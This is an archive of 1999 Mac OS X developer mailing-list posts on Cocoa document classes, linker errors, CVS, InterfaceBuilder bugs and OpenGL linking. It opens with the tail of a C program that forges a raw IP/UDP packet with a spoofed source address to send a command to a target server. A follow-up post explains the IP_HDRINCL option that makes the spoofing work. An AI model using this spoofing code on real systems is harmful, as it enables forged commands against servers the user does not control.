printf("usage:\n"); printf("\t%s ip ""command"" \n", argv[0]); exit(-1); } if (argc==4) port = atoi(argv[3]); bzero(buf, sizeof(buf)); bzero((char *)&dst, sizeof(dst)); iph->ip_v=4; iph->ip_hl=5; iph->ip_tos=0; iph->ip_len=htons(sizeof(buf)); iph->ip_id=htons(1234); iph->ip_off=0; iph->ip_ttl=255; iph->ip_p=17; iph->ip_src.s_addr=inet_addr(SIP); iph->ip_dst.s_addr=resolve_address(argv[1]); udp->uh_sport=htons(1234); udp->uh_dport=htons(port); udp->uh_ulen=htons(sizeof(buf) - 20); dst.sin_family=PF_INET; dst.sin_addr.s_addr=iph->ip_dst.s_addr; dst.sin_port=htons(27500); sprintf((buf + 28), "%s%s\n", command, argv[2]); if ((s=socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("socket"); exit(-1); } if ((sendto(s, buf, sizeof(buf), 0, (struct sockaddr *)&dst, sizeof(dst))) <=0) { perror("sendto"); exit(-1); } exit(1); } From nat at object-factory.com Thu Jul 8 12:29:30 1999 From: nat at object-factory.com (Georg Wallmann) Date: Thu Nov 3 14:42:11 2005 Subject: Raw socket Message-ID: <199907081929.VAA21849@walitza.object-factory.com> > > Below there is a little source I grabbed from the net and tried to > adapt to Mac OS X Server. When you use tcpdump to look at the packet > this program generates, you can see that the socket code prepends > it's own IP header. How can I circumvent this ? Or is this a bug ? > > Nat! > I hate following up to my own mail, but there's a socket option IP_HDRINCL that does the trick. I just needed to add the following to the program to make it work. int flag; ... flag = 1; if( setsockopt( s, IPPROTO_IP, IP_HDRINCL, &flag, sizeof( flag)) == -1) { perror( "Couldn't set permission to create"); return; } Nat! From mike at lorax.com Thu Jul 8 21:02:42 1999 From: mike at lorax.com (Mike Ferris) Date: Thu Nov 3 14:42:11 2005 Subject: First Program Message-ID: <199907090458.VAA29178@boom.lorax.com> First, I am not sure why your rtf files cannot be opened by TextEdit... maybe some code from where you're saving the file out would help someone figure out why. > I didn't uses 'dataRepresentationOfType:' and > 'loadDataRepresentation:ofType:' because I wanted to read and write 'rftd' > which are file packages (directories), but I now see that there is > 'loadFileWrapperRepresentation:ofType:' which I can use for that. > Yeah, if you need to save wrapper types, you should just override the file wrapper methods. (You can override the data methods still for flat files if you make sure to pass requests for those types along yourself.) Maury also has a good point about trying to unify pasteboard and file-based data saving. This is kind of an ongoing goal in the Cocoa type system. Alot of the time you use the NSFileWrapper serialized representation on the pasteboard for wrapper types (that's how RTFD works on the pasteboard). I have an idea which is a little weird, but I think it makes some sense. See the end of this message... > My real concern off which I didn't really explain is to maintaining > Model-view-controller structure, it seems to me that the model objects > should be set up independently to the view objects, NSTextView creates > everything automatically, its seems to me it shouldn't create the > NSTextStorage instance, that should be created in the code independently of > the View objects, Your concern about the MVC stuff is definitely justified. I think you're absolutely right about wanting the NSTextStorage to be part of your model. But in the text system's defense, the default behavior is meant to be immediately useful for the simple case. So an NSTextView comes complete with all the other text system objects including an NSTextStorage when you take one off the palette in IB or use -initWithFrame:. (Programatically you can use -initWithFrame:textContainer: to avoid getting the whole system create, but then you've got to create everything else by hand). Luckily, what you want to do is easy to deal with. In your window controller class' -windowDidLoad (or your document class' -windowControllerDidLoadNib: if you don't subclass NSWindowController) you can do this: [[myTextView layoutManager] replaceTextStorage:myModelTextStorage]; (To be complete about it, if you subclass NSWindowController, you might also make sure you remove your layout manager from the model's text storage as you -dealloc, and override -setDocument: in case the document changes.) > also if I create Model objects in > 'loadDataRepresentation:ofType:' does this only handles the circumstances > where files are opened, if so where do I create model objects when the use > creates a new document it would be best if there was one NSDocument method > that created the model objects and it was called before > 'loadDataRepresentation:ofType:'. > If you want to create stuff in all new documents whether they're brand new or loaded, you can do so in an override of -init (which is the designated initializer of NSDocument). The instance will get -init always (and before any loading stuff is invoked). > This is all important as I want to > implement AppleScripts and its important that documents can be manipulated > without the present of any view object. > Another very excellent point. There may be no situations today, commonly, where documents get init'ed without UI, but for things such as AppleScript and support for servicing print requests without UI, it is a really good idea to make sure you design your document class to be fully capable of functioning without any window controllers (or windows). Sketch provides an example of this. It should be possible to create, open edit, print a Sketch document without ever creating any window controllers for its documents. Currently I think the AppleScript open command for documents is implemented to always request UI, but this will probably change. I think the same is true of print requests. Now the (slightly odd) idea: NSString *FlatTypeName = @"My Flat File Type (like rtf)"; NSString *WrapperTypeName @"My Wrapper File Type (like rtfd)"; - (NSData *)dataRepresentationOfType:(NSString *)type { if ([FlatTypeName isEqualToString:type]) { // data is the "primitive" type for this one: handle it. return [self theThingThatKnowsHowToCreateTheDataForFlatType]; } else if ([WrapperTypeName isEqualToString:type]) { // a wrapper is the "primitive" type for this one: defer. NSFileWrapper *wrapper = [self fileWrapperRepresentationOfType:type]; return [wrapper serializedRepresentation]; } else { // Unknown type return nil; } } - (BOOL)loadDataRepresentation:(NSData *)data ofType:(NSString *)type { if ([FlatTypeName isEqualToString:type]) { // data is the "primitive" type for this one: handle it. return [self theThingThatKnowsHowToLoadTheDataForFlatType]; } else if ([WrapperTypeName isEqualToString:type]) { // a wrapper is the "primitive" type for this one: defer. NSFileWrapper *wrapper = [[[NSFileWrapper alloc] initWithSerializedRepresentation:data] autorelease]; return [self loadFileWrapperRepresentation:wrapper ofType:type]; } else { // Unknown type return NO; } } - (NSFileWrapper *)fileWrapperRepresentationOfType:(NSString *)type { if ([FlatTypeName isEqualToString:type]) { // data is the "primitive" type for this one: defer. NSData *data = [self dataRepresentationOfType:type]; return [[[NSFileWrapper alloc] initRegularFileWithContents:data] autorelease]; } else if ([WrapperTypeName isEqualToString:type]) { // a wrapper is the "primitive" type for this one: handle it. return [self theThingThatKnowsHowToCreateTheWrapperForWrapperType]; } else { // Unknown type return nil; } } - (BOOL)loadFileWrapperRepresentation:(NSFileWrapper *)wrapper ofType:(NSString *)type { if ([FlatTypeName isEqualToString:type]) { // data is the "primitive" type for this one: defer. NSData *data = [wrapper regularFileContents]; return [self loadDataRepresentation:data ofType:type]; } else if ([WrapperTypeName isEqualToString:type]) { // a wrapper is the "primitive" type for this one: handle it. return [self theThingThatKnowsHowToLoadTheWrapperForWrapperType]; } else { // Unknown type return NO; } } The reason I say it's kind of weird is that sometimes the data methods do the work themselves, and sometimes they let the wrapper methods do the work, and vice-versa. So it kinds of breaks any notion of one set of methods (data or wrapper) being the primitives (although you can talk about which are primitives for a specific type). But the cool part is that now, you can always produce either a wrapper or a data for any type. Specifically, because you can produce an NSData even for types that are wrappers on disk, you can easily implement pasteboard support through use of -dataRepresentationOfType:. I'm not sure if there's a use for being able to get a wrapper for the flat type, but without that ability it would lack symmetry. :-) Mike Ferris From garrison at cornell.edu Fri Jul 9 09:16:11 1999 From: garrison at cornell.edu (William Garrison) Date: Thu Nov 3 14:42:11 2005 Subject: multiply defined symbol woes Message-ID: <199907091613.MAA15627@postoffice.mail.cornell.edu> Folks, I can't get past a "multiply defined symbols" link error and I'm not sure what I'm doing wrong. A clue would be most appreciated... ;-) I've got two classes, call them "Message" and "Chunk", whose implementations need to share some predefined character constants. So, I created a new header file, called "Shared.h", which contains these definitions. In my "Message.m" and "Chunk.m" files, I've imported "Shared.h". I thought was the correct way to do this. But alas, I'm getting my butt kicked with multiply defined symbol errors on those constants defined in the shared header file. Can anyone tell me what I'm doing wrong? Thanks! >From Shared.h... const unsigned char CUSSP_IAC = '\xff'; // Interpret-As-Comman const unsigned char CUSSP_EOC = '\xef'; // End-Of-Chunk >From Message.m... /* Message.m created by root on Sun 04-Jul-1999 */ #import "Message.h" #import "Shared.h" >From Chunk.m... /* Chunk.m created by root on Thu 08-Jul-1999 */ #import "Chunk.h" #import "Shared.h" From jjfeiler at relief.com Fri Jul 9 10:02:50 1999 From: jjfeiler at relief.com (John Jay Feiler) Date: Thu Nov 3 14:42:11 2005 Subject: multiply defined symbol woes Message-ID: <199907082106.OAA27391@haque.relief.com> Yup. You need two files: Shared.h extern const unsigned char CUSSP_IAC; // Interpret-As-Comman extern const unsigned char CUSSP_EOC; // End-Of-Chunk Shared.c const unsigned char CUSSP_IAC = '\xff'; // Interpret-As-Comman const unsigned char CUSSP_EOC = '\xef'; // End-Of-Chunk You were probably also getting warnigns about non-extern symbol being defined in a header... J Begin forwarded message: > From: William Garrison > Date: 1999-07-08 13:24:45 -0700 > To: Multiple recipients of list > Subject: multiply defined symbol woes > X-Mailer: by Apple MailViewer (2.106) > Originator: macosx-dev@omnigroup.com > X-Comment: To unsubscribe, follow directions at > http://www.omnigroup.com/MailArchive/ > > Folks, > > I can't get past a "multiply defined symbols" link error and I'm not > sure what I'm doing wrong. A clue would be most appreciated... ;-) > > I've got two classes, call them "Message" and "Chunk", whose > implementations need to share some predefined character constants. > So, I created a new header file, called "Shared.h", which contains > these definitions. In my "Message.m" and "Chunk.m" files, I've > imported "Shared.h". I thought was the correct way to do this. But > alas, I'm getting my butt kicked with multiply defined symbol errors > on those constants defined in the shared header file. > > Can anyone tell me what I'm doing wrong? Thanks! > > > >From Shared.h... > > const unsigned char CUSSP_IAC = '\xff'; // Interpret-As-Comman > const unsigned char CUSSP_EOC = '\xef'; // End-Of-Chunk > > > >From Message.m... > > /* Message.m created by root on Sun 04-Jul-1999 */ > > #import "Message.h" > #import "Shared.h" > > > >From Chunk.m... > > /* Chunk.m created by root on Thu 08-Jul-1999 */ > > #import "Chunk.h" > #import "Shared.h" > > -- John Feiler jjfeiler@relief.com From sbrandon at music.gla.ac.uk Fri Jul 9 10:30:39 1999 From: sbrandon at music.gla.ac.uk (Stephen Brandon - SysAdmin) Date: Thu Nov 3 14:42:11 2005 Subject: ANNOUNCE: SndKit Message-ID: <199907091730.SAA06472@music.gla.ac.uk> Hi, Announcing next week's release of the SndKit, a replacement for Apple's soon-to-be defunct SoundKit. It will be available from our ftp server once I get it up and running again (I'll announce when it's done). SndKit runs on OS4.2 Mach, YB/Windows (WebObjects), and I assume MacOSX-Server (not tested on MOSX-S). SndKit consists of: Snd class SndView class almost all SNDxxx functions from the old SoundKit, renamed as Sndxxx. SndKit does NOT currently do much actual sound I/O. I'm waiting for some help to interface the sound playback functions to Windows sound I/O routines. Meanwhile, simple sound I/O on Windows can be done by saving the sound in a temp file, then opening that with the NSSound object, and playing that object. Almost the entire kit was written from scratch, without reference to Apple's SoundKit.framework, which was released under the APSL a little while back. Only one file was lifted from Apples sources (sounderror.m). Included with the distribution are 2 applications which use the SndKit. One is Spectro.app, which gives spectrograms based on fft representations of sounds. The other is TwoWaves.app, a re-write of a venerable NeXT application, which demonstrates basic acoustic principles of sound wave mixing. The original used the MusicKit to generate the sounds in real time. This version calculates the sounds out of real time and then plays them. Works great on Windows, with sound I/O and all. Why did I do this? ================== Our department is moving from NeXTSTEP on black hardware to WindowsNT, with WebObjects to provide the NeXT legacy support. We have a number of applications which require SoundKit and MusicKit support, so getting them ported has been a high priority. I like the SoundKit and the MusicKit, so although on Windows there are now other options available for audio programming, I at least wanted to get all our old apps running with the minimum of fuss. Future Directions ================= We don't have Macs here, so I won't be spending much time getting stuff to work on MacOSX-Server. YB/Windows is a much higher priority. I assume there are others who can and will look after Mac issues. I am very interested in providing cross-platform code though, so I'll help where possible. In any case, Apple is supposed to be making the SoundKit defunct, so there's not a lot of use fiddling with interfacing the SndKit to the SoundKit i/o routines until the future direction is known. How Compatible is it with SoundKit? =================================== Very highly compatible. There are a few differences eg if you change a sound's data behind the back of SndView, you have to notify SndView, otherwise it will display a cached image of the sound. Other than that most functions and methods correspond to the SoundKit documentation. Bugs? ===== Yep, there are still a few in there. They'll get ironed out as time goes by. On the whole, the SndView is much better and less buggy than SoundView is. There's even fledgling support for multi-channel sounds, (eg 4,8,16) although they don't display (the SndConvert routines were written to convert multi-channel sounds). If anyone has particular expertise in Windows audio, especially if you can donate the code to this (open source) effort, please get in touch! Stephen Brandon --- Systems Administrator, Department of Music, e-mail: S.Brandon@music.gla.ac.uk 14 University Gardens, (NeXT mail welcomed) University of Glasgow, Tel: +44 (0)141 330 6065 Glasgow. Fax: +44 (0)141 330 3518 Scotland G12 8QH From maury at OAAI.COM Fri Jul 9 12:29:04 1999 From: maury at OAAI.COM (Maury Markowitz) Date: Thu Nov 3 14:42:11 2005 Subject: First Program Message-ID: <199907091924.PAA03590@OAAI.COM> > Now the (slightly odd) idea: Not odd at all. When we started zlib'ing our documents I ended up doing exactly this. Since the call series is "down" the chain all I had to do was check inside loadFileWrapperRepresentation whether or not the passed file was a folder or not. If it was we called our existing fileWrapper de-freezing code. If it wasn't a folder (thus a wrapper), I call [super loadFileWrapperRepresentation], which in turn calls loadDataRepresentation. At that point I know it's a flat file, so I un-zlib it and call the wrapper un-freezing code again. In reality you could do either at either point, I'm not sure if there's a reason for both. In the AppKit are both of these calls considered to be at the "same level" conceptually, or is data considered to be "lower" down the chain from fileWrapper? Maury From ajetha at tacticalstep.com Fri Jul 9 14:22:53 1999 From: ajetha at tacticalstep.com (A Jetha) Date: Thu Nov 3 14:42:11 2005 Subject: CVS realwrap duplicate Mod-time error Message-ID: <772766C98A9.AAA7D4@bismuth.tor.sfl.net> Folks, Just wondering if anyone has come across this problem with CVS 'realwrap'. We downloaded the source and built on a FreeBSD 2.2.7 server. cvs server: Updating Apps/DBCImporter/English.lproj cvs checkout: protocol error: duplicate Mod-time U Apps/DBCImporter/English.lproj/DBCImporter-windows.nib cvs checkout: protocol error: duplicate Mod-time U Apps/DBCImporter/English.lproj/DBCImporter.nib cvs server: Updating Apps/DBCImporter/PBUserInfo cvs checkout: protocol error: duplicate Mod-time U Apps/DBCImporter/English.lproj/MainDocument.nib -- Alykhan Jetha (AJ) TacticalStep Inc., WWW: http://www.tacticalstep.com Email: ajetha@tacticalstep.com Phone: 905.831.2643 ext 1 Fax: 905.837.2546 From bbum at codefab.com Fri Jul 9 14:35:49 1999 From: bbum at codefab.com (Bill Bumgarner) Date: Thu Nov 3 14:42:11 2005 Subject: CVS realwrap duplicate Mod-time error In-Reply-To: <772766C98A9.AAA7D4@bismuth.tor.sfl.net> Message-ID: Yup. Happens all the time. Doesn't seem to cause a problem. Someone should probably fix it some day. I really wish cvs would just go away entirely.... but there just isn't a viable alternative. b.bum On Fri, 9 Jul 1999, A Jetha wrote: > Folks, > > Just wondering if anyone has come across this problem with CVS 'realwrap'. We downloaded the > source and built on a FreeBSD 2.2.7 server. > > > cvs server: Updating Apps/DBCImporter/English.lproj > cvs checkout: protocol error: duplicate Mod-time > U Apps/DBCImporter/English.lproj/DBCImporter-windows.nib > cvs checkout: protocol error: duplicate Mod-time > U Apps/DBCImporter/English.lproj/DBCImporter.nib > cvs server: Updating Apps/DBCImporter/PBUserInfo > cvs checkout: protocol error: duplicate Mod-time > U Apps/DBCImporter/English.lproj/MainDocument.nib > > > -- > Alykhan Jetha (AJ) > TacticalStep Inc., > WWW: http://www.tacticalstep.com > Email: ajetha@tacticalstep.com > Phone: 905.831.2643 ext 1 > Fax: 905.837.2546 > > From norbert.heger at obdev.at Fri Jul 9 16:36:19 1999 From: norbert.heger at obdev.at (Norbert Heger) Date: Thu Nov 3 14:42:11 2005 Subject: IB Bug: renaming outlets & actions Message-ID: <9907092336.AA02419@cray> I just discovered a very nasty bug in MOSX InterfaceBuilder. Renaming an outlet or an action (in the nib-window's 'Classes' view) breaks all the corresponding connections! So you have to reconnect them manually. This turns out to be extremely toilsome if your nib-file contains lots of instances of the affected class. Especially renaming an action method becomes a real pain, since a single action may be triggered by several objects, and the connections are defined in the sender, not in the receiver. So you must look for all the 'inverse' connections first to find out which objects you need to reconnect later... BTW, where's the proper place to report bugs like this? Norbert _____________________________ _________________________________ O B J E C T I V E D E V E L O P M E N T Norbert Heger OpenStep MacOS-X EOF WebObjects norbert.heger@obdev.at Software Development +43-664-2811777 www.obdev.at From paulrs at lgs-systems.com Sat Jul 10 09:10:37 1999 From: paulrs at lgs-systems.com (Paul R. Summermatter) Date: Thu Nov 3 14:42:11 2005 Subject: NSUndoManager help Message-ID: <9907101610.AA07759@slab> RE: EOF 3.0, NT & OSXS Hey guys, Can anyone out there who is conversant with NSUndoManger and EOF give me a crash course in managing undo from the AppKit side of the picture. For the most part, it appears that nothing has changed from EOF 2.2 to EOF 3.0 except that the undo manager is no longer EOUndoManger. However, the one issue I cannot get past is the new responder chain handling of undo. The documentation is very sparse on this. There is a delegate method of NSWindow, windowWillReturnUndoManager:, which I do not understand. It seems simple enough, but I have the following situation in our app which is confusing the heck out of me. We have a calendar window which is contained within a nib that follows a typical MVC paradigm. The nib has a controller (which is the delegate of the window), an editingContext, a displayGroup, an association between the displayGroup and a custom calendar control in the window, and a few other miscellaneous items. The nib's owner (the controller), implements undo: and redo:. However, the Undo and Redo menu items which are connected to the first responder, are never enabled when this window is active (validateMenuItem: is never called on the controller with undo: and redo:, even though it is called on the controller with other actions like save:). This is true unless I implement the method windowWillReturnUndoManager: in my controller and return the editingContext's undoManager. However, if I do this, undo is called directly on the undoManger and not on my controller. This all makes a fair amount of sense until I turn to the rest of our app. In the rest of our app, I have similar MVC arrangements, where all of the controllers inherit from the same superclass (one that is different from the controller in the calendar). In those controllers, I do NOT implement windowWillReturnUndoManager:, and yet, the Undo and Redo menu cells are enabled (at appropriate times based on validateMenuItem:) and the controller's implementation of undo: and redo: are called when clicking on those menu cells. Does anyone have a clue why I am experiecing this dichotomy of behaviour in our app? Short of explation of my specific problem, can anyone provide a fundamental explanation of how undo management and the responder chain is supposed to work. Should my controller be able to implement undo: on its own without implementing windowWillReturnUndoManager:? If not, is it a bug that this is working in part of our app? Any direction on this would be greatly appreciated. Regards, Paul --- Paul Summermatter LGS Systems, Inc. Medical Computing Division 15 TJ Gamester Ave Portsmouth, NH 03801-5871 (603) 433-9822 voice (603) 433-9818 fax (888) 898-6321 pager 8986321@skytel.com paging email paulrs@lgs-systems.com (NeXT or MIME Mail Welcome) http://www.lgs-systems.com From theisen at akaMail.com Sat Jul 10 19:07:10 1999 From: theisen at akaMail.com (Dirk Theisen) Date: Thu Nov 3 14:42:11 2005 Subject: NSData-based memory mapping in Server CR1 In-Reply-To: <1dulfxa.b5ctt0fhzhfkM@ascend-tk-p112.rhrz.uni-bonn.de> Message-ID: <1dur707.qm4zy1ywc08qM@ascend-tk-p145.rhrz.uni-bonn.de> Hi! > Afer successfully mmap'ping and modifying a memory region (with "data" > pointing to it), I call > > msync(data, 0); > > which results in a system signal: "Bad System Call". The man page and > headers are all there, though. > > If I leave out msync, the file is not modified (as expected). I found the answer in the darwin kernel source: int msync(p, uap, retval) struct proc *p; struct msync_args *uap; register_t *retval; { /* Not yet implemented */ return (EOPNOTSUPP); } :-( Dirk -- http://theisen.home.pages.de/ From cyberwise at bigpond.com Sat Jul 10 20:45:35 1999 From: cyberwise at bigpond.com (Simon Giraudo) Date: Thu Nov 3 14:42:11 2005 Subject: 3D graphics libraries Message-ID: <000101becb4f$d6a8e380$c993868b@cyberwise> This is the third draft The project that I am researching involves the use of a 3D graphics environment. All the environments /programs that I have reviewed don't provide me with the tools or the OOP environment that I am after. 3D Studio Max claims to be OO but I can't create any of my own classes using their scripting environment. Finding no satisfaction with these environments I moved my search to 3D graphics libraries such as Java 3D, so I could develop my own. My understanding of Opengl is that it is procedural which is not appropriate. The question is. Can I use the cooca/carbon technologies to access 3D graphics libraries ?? This would be excellent as I love the NeXT/Openstep development tools. Can someone please point me in the right direction? rgds simon From phr at projectcenter.ch Sun Jul 11 00:48:41 1999 From: phr at projectcenter.ch (Philippe C.D. Robert) Date: Thu Nov 3 14:42:11 2005 Subject: 3D graphics libraries In-Reply-To: <000101becb4f$d6a8e380$c993868b@cyberwise> References: <000101becb4f$d6a8e380$c993868b@cyberwise> Message-ID: <9907110748.AA00317@projectcenter.ch> You wrote: > The question is. Can I use the cooca/carbon technologies to access 3D > graphics libraries ?? This would be excellent as I love the NeXT/Openstep > development tools. > > Can someone please point me in the right direction? There was NeXT's 3DKit years ago... ...and perhaps there will be GNU's 3DKit soon. I will begin working at such a '3DKit replacement' for GNUstep in a few weeks. If you are interested in that, contact me personally. sweet dreams, Phil --- Philippe C.D. Robert - Software Engineer ######################################## # http://www.nice.ch/~phip # # http://www.projectcenter.ch # ######################################## From maury at OAAI.COM Mon Jul 12 10:32:40 1999 From: maury at OAAI.COM (Maury Markowitz) Date: Thu Nov 3 14:42:11 2005 Subject: 3D graphics libraries Message-ID: <199907121727.NAA02529@OAAI.COM> > Finding no satisfaction with these environments I moved my search to 3D > graphics libraries such as Java 3D, so I could develop my own. My > understanding of Opengl is that it is procedural which is not appropriate. [snip] > Can someone please point me in the right direction? The right direction in this case is almost certainly to do a OpenInventor port. As you note, OGL is not OO, but to overcome this problem they also came up with the little known OpenInventor, which is. OI is essentially a tightlybound shell to give OGL a retained mode feel. I think you'd do the entire Cocoa world a huge favour if you investigated a port to Cocoa libs. It is an open spec, and there's even a freebee (somewhat limited but overall functional) you can check out at... http://users.deltanet.com/~powerg/Apprentice/ Maury From bjorn at datec.no Tue Jul 13 06:23:13 1999 From: bjorn at datec.no (Bj=?ISO-8859-1?B?+A==?=rn Olav Erland) Date: Thu Nov 3 14:42:11 2005 Subject: Message-ID: <199907131323.PAA00330@webhotell.no> Hi ! My company is working on a remote interface for our building maintenance system, and we are in the process of implementing that as an Java applet. Yesterday I got to try out VNC and it seems to give a lot of what we are asking for right away. What we would like to do is to have serveral thin clients hooked up to a MacOS X server which would then have their own desktop and run a version of our software. MacOS X server is built on top of BSD Unix, but has its own graphical interface. Does anyone know of a port of VNC server for MacOS X, or any work beeing done on this? What are the chances for running several users at once, having their own desktop ?? Please respond directly to me. I subscribed this list, but it flooded my mailbox and made my cellphone beep all the time to notify me about mail.. Regards Bj?rn Olav Erland -- ------------------------------------------------- Datec Software as Mediahuset, 7075 Tiller Voice: (+47) 72 88 72 88 - Fax: (+47) 72 88 00 77 E-mail: bjorn@datec.no Internet: http://www.datec.no ------------------------------------------------- -------------- next part -------------- An HTML attachment was scrubbed... URL: /mailman/archive/macosx-dev/attachments/19990713/d72047bc/attachment.html From csaldanh at computeractive.com Tue Jul 13 07:16:18 1999 From: csaldanh at computeractive.com (Chris Saldanha) Date: Thu Nov 3 14:42:11 2005 Subject: regular expression library Message-ID: <199907131416.KAA08987@saturn.computeractive.com> Where are the functions re_comp and re_exec in MacOS X Server? I'm porting FreeBSD fortune with regex support, and I get undefined symbols from the linker for re_comp and re_exec. The header in the System.framework includes prototypes for these functions, so I would have assumed that the framework also included these in the library... I also tried linking against librx.a but that didn't do any good... Cheers, Chris -- -------------------------------------------------------------------- Chris Saldanha, Software Analyst | 15 Capella Ct. Suite 128 computerActive Inc. | Nepean, ON, Canada K2E 7X1 csaldanh@computerActive.com (NeXT/MIME)| Voice: (613)225-4824 http://www.computerActive.com/ | FAX: (613)225-1670 -------------------------------------------------------------------- "The telephone was not invented by Alexander Graham Unitel" -Bell Ad From doug_andrews at baseview.com Tue Jul 13 09:34:35 1999 From: doug_andrews at baseview.com (Doug Andrews) Date: Thu Nov 3 14:42:11 2005 Subject: USB Question Message-ID: <199907131634.JAA02883@ignem.omnigroup.com> Is there a way to send data though the USB port within Yellowbox? From kc at omnigroup.com Tue Jul 13 15:26:26 1999 From: kc at omnigroup.com (Ken Case) Date: Thu Nov 3 14:42:11 2005 Subject: regular expression library Message-ID: <199907132226.PAA28138@ignem.omnigroup.com> The manual page for "re_comp" ("man re_comp") says: This interface is made obsolete by regex(3). It is available from the compatibility library, libcompat. Unfortunately, Apple didn't ship the libcompat library with Mac OS X Server, but you'll find its source code in Darwin (http://www.publicsource.apple.com/projects/darwin/) in the Libcompat project. Ken From nathand at senet.com.au Wed Jul 14 03:40:54 1999 From: nathand at senet.com.au (Nathan Day) Date: Thu Nov 3 14:42:11 2005 Subject: Handling the Paste Board Message-ID: <199907141045.UAA19106@pluto.senet.com.au> I?ve got a question about dealing with the pasteboard. Storing data on the paste board in every format you want to support is a bit of a waste of resources, but thankfully that's taken care of with the ?pasteboard:providedDataForType:? method, the problem is knowing which piece of your data is actually being requested, for example the user may change the selected region in between cutting and pasting or your actual data may change in between, first I thought of storing a copy of the data, but this would get complicated when supporting multiple pasteboards, ?drag?n?drop?, ?cut?n?paste? maybe one for inter app. communication etc. The I thought why not just place the richest data format on to the pasteboard straight away, maybe even an internally native one since most paste board use would be used within the same app. then if/when I get a ?pasteboard:providedDataForType:? message I retrieve the data off of the pasteboard, convert it to the desired type and place that onto the paste board. Just had another idea while typing this, why not create a object to store the region of data for coping, that has the ability to supply its data in all of the supported types, declare the owner of the paste board as the object itself so that it receives the ?pasteboard:providedDataForType:? message and when it recieves the ?pasteboardChangedOwner:? message it releases itself, can objects retain and release themselves. Anybody have any ideas, opinions or suggestions on this. I see there is a pasteboard filtering service, have to admit I haven?t look at this yet, it?s amazing how may threads of information you can pursue when learning a new OOP framework, perhaps this would solve my problems better. -- Nathan Day nathand@senet.com.au From paulrs at lgs-systems.com Wed Jul 14 06:39:39 1999 From: paulrs at lgs-systems.com (Paul R. Summermatter) Date: Thu Nov 3 14:42:11 2005 Subject: Controlling visibleRect and disabling drawing Message-ID: <9907141339.AA10493@slab> Hey guys, I'm having trouble with a custom subclass of NSMatrix. If you have a matrix inside of a scrollView and you call renewRows..., NSMatrix appears to be trying to scroll back to the top of the matrix while making sure that at least the selectedCells are visible. I'm trying to refine this behaviour and believe I have done so using the setVisibleRect: on NSView. The problem is that as I call renewRows, the matrix jumps, first to the default position, and then back to where I want it. I was under the impression that using disableFlushWindow and enableFlushWindow would turn off the drawing, and the user would see only the final location. Unfortunately, though I have bracketed the renewRows and my setVisibleRect: calls in disableFlushWindow and enableFlushWindow calls, the jumping still happens. I have verified that the window is buffered. Is my assumption correct that disableFlushWindow should turn off the drawing and clear up this problem. If so, what might I be doing wrong? If not, is there a way to do what I want. Regards, Paul --- Paul Summermatter LGS Systems, Inc. Medical Computing Division 15 TJ Gamester Ave Portsmouth, NH 03801-5871 (603) 433-9822 voice (603) 433-9818 fax (888) 898-6321 pager 8986321@skytel.com paging email paulrs@lgs-systems.com (NeXT or MIME Mail Welcome) http://www.lgs-systems.com From maury at OAAI.COM Wed Jul 14 07:28:55 1999 From: maury at OAAI.COM (Maury Markowitz) Date: Thu Nov 3 14:42:11 2005 Subject: Handling the Paste Board Message-ID: <199907141422.KAA05260@OAAI.COM> Your e-mail app is doing something odd to your posts, I think it's MIMEing them. You might want to check that. If you're using MailViewer it seems you've discovered yet another bug in that abomination of an app. > Storing data on the paste board in every format you want to support is a bit > of a waste of resources, but thankfully that's taken care of with the > =8Cpasteboard:providedDataForType: A slight off topic one here... I'm pushing for a 1st class citizen in the Foundation for storing this information. Right now everything is based on strings, but the document model is based on the NSTypes data structure which is more complex. There needs to be some sort of mapping from one to the other so that I can ask my pasteboard data for it's file extension without having to do that mapping myself. =B9 method, the problem is knowing which > piece of your data is actually being requested Indeed, but as it turns out this is primarily an interface issue. You have to make it so that your app is clearly freeze-drying the data as it was when you do a cut/copy. If the selection changes after that it should have no effect on the data on the clip. You will have to adjust for things like movement of the document, but that happens after you pull the data back off the clip. My big argument with the current system is that you can't return nil for a data type (someone deep in the bowels of the Foundation caughs up an error and you app stops running). If you could do this then you simply return the maximal set of types every time and check when the data's coming off the clip for state related issues. > Just had another idea while typing this, why not create a object to store > the region of data for coping, that has the ability to supply its data in > all of the supported types, declare the owner of the paste board as the > object itself so that it receives the =8Cpasteboard:providedDataForType: Well that is essentially what you're doing anyway. Maury From troy.stephens at page44.com Wed Jul 14 12:00:16 1999 From: troy.stephens at page44.com (Troy Stephens) Date: Thu Nov 3 14:42:11 2005 Subject: OpenGL DLL linking under OpenStep Enterprise 4.2 NT Message-ID: I'm having trouble linking to a Win32 system DLL (specifically, opengl32) from Objective-C++ code (a .M module) under OpenStep Enterprise 4.2 NT. I can use OpenGL calls just fine in plain Objective-C code (.m files). The object file generated from the .m source references the glColor3f() function as "_glColor3f@12" (where I believe the @12 refers to the fact that the function takes 12 bytes of parameter data (3 floats)). On the other hand, the object file generated from a .M source file references glColor3f() as just "_glColor3f" (omitting the "@12" suffix). This causes the link with opengl32.lib to fail. It looks like the gl.h header I'm #including is just failing to communicate to gcc somehow that these functions are going to be brought in from a DLL. (?) I've already modified my gl.h slightly to accomodate the fact that OS/E's gcc doesn't understand __stdcall. Before including gl.h, I define: #define APIENTRY __attribute__ ((stdcall)) #define WINGDIAPI (I had to "move" some of the invocations of APIENTRY in gl.h -- particularly in typedefs for callback functions -- since gcc doesn't allow __attribute__((stdcall)) everywhere that MSVC++ allows __stdcall.) Am I missing something else? A gcc equivalent to __declspec(dllimport) maybe? Someone _must_ have encountered and solved this problem already, but I've had no luck finding the answer online, so if it's a repeat please forgive me...! In any case, I'd very much appreciate a pointer in the right direction! Thanks! Troy Stephens troy.stephens@page44.com From tthomas at se.mediaone.net Wed Jul 14 13:09:21 1999 From: tthomas at se.mediaone.net (tthomas@se.mediaone.net) Date: Thu Nov 3 14:42:11 2005 Subject: (no subject) Message-ID: <378CEE71.1140@se.mediaone.net> How do you unsubscribe from this group? A sisters friend put me in and I am not a programmer. Thank you........g thomas From troy.stephens at page44.com Wed Jul 14 16:22:37 1999 From: troy.stephens at page44.com (Troy Stephens) Date: Thu Nov 3 14:42:11 2005 Subject: OpenGL DLL linking under OpenStep Enterprise 4.2 NT Message-ID: Just to clarify, I've already tried surrounding the #include with extern "C" { } The "@12"-style suffix is a Windows DLL thing, not C++ name-mangling. -----Original Message----- From: Troy Stephens Sent: Wednesday, July 14, 1999 12:00 PM To: 'macosx-dev@omnigroup.com' Subject: OpenGL DLL linking under OpenStep Enterprise 4.2 NT I'm having trouble linking to a Win32 system DLL (specifically, opengl32) from Objective-C++ code (a .M module) under OpenStep Enterprise 4.2 NT. I can use OpenGL calls just fine in plain 